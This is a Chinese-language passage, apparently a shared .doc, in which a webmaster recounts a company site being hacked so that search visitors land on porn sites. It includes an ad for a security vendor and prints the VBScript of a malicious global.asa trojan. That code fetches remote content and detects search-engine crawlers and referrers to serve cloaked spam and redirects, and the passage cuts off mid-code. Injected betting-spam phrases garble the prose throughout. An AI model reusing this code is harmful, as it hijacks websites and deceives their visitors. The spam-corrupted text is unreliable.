网站提示被的解决办法.docVIP

最近单位网站在百度有哪些信誉好的足球投注网站点击打开都是黄色的，而直接输入网址反而没问题，在百度有哪些信誉好的足球投注网站中被提示为网站被黑的可能，很多客户有哪些信誉好的足球投注网站我们网站都进入了黄色网站，给公司的形象造成了很大的影响，作为公司的网站技术人员，以前也算是搞了5年的老站长了，什么事没惊着，从头开始分析网站被黑的原因。 网站被黑？网站被挂马？还在为这些问题苦苦烦恼吗？找Sine安全！ 百度的收录为基础 在百度Site下自己网站发现收录了许多色情类内容快照，什么电影，什么美女主播，看了收录足足300多条快照，再看下网站首页的收录，发现已经面目全非了，百度快照都是空的。 网站的标题都成了网站的地址了，内容也为空了。我这才意识到完了，网站肯定是被K了。 打开其中任意一个地址，直接跳转到了黄色网站上，网站地址是： HYPERLINK /mm/ /mm/ 问题慢慢浮出水面 首先问题的表面就是网站的收录剧增，都是收录一些恶意的内容和违法的内容（包括时时彩色情什么的）。再一个表面特征是从有哪些信誉好的足球投注网站引擎来的点击会自动跳转到黄色网站上，自己输入网站则不会出现跳转。 这时我充分的确定了是网站程序的问题，登陆空间FTP发现网站根目录下有许多陌生的文件夹，里面的网站文件打不开也删不掉，老提示没有权限删除。再往下级目录查看时发现了一个古怪的文件名，是global.asa 用sinesafe木马检测工具检测出是木马文件，内容如下： script language=vbscript runat=server 网站全局文件 sub Application_OnStart end sub sub Application_OnEnd end sub Public Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject(MSXML2.serverXMLHTTP) ObjXMLHTTP.Open GET,url,False ObjXMLHTTP.setRequestHeader User-Agent,url ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject(Adodb.Stream) objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = gb2312 GetHtml = objStream.ReadText objStream.Close End Function Function check(user_agent) allow_agent=split(Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp,QihooBot,YoudaoBot,iaskspider,,) check_agent=false For agenti=lbound(allow_agent) to ubound(allow_agent) If instr(user_agent,allow_agent(agenti))0 then check_agent=true exit for end if Next check=check_agent End function Function CheckRefresh() CheckRefresh = False Dim Botlist,i,Repls Krobotlist = baidu|google|sogou|soso|yahoo|bing|youdao|qihoo|iask Botlist = Split(Krobotlist,|) For i = 0 To Ubound(Botlist) If InStr(left(request.servervariables(HTTP_REFERER),40),Botlist(i)) 0 Then CheckRefresh = True Exit For End If Next End Function sub Session_OnStart On Error Resume Next name=request.servervariables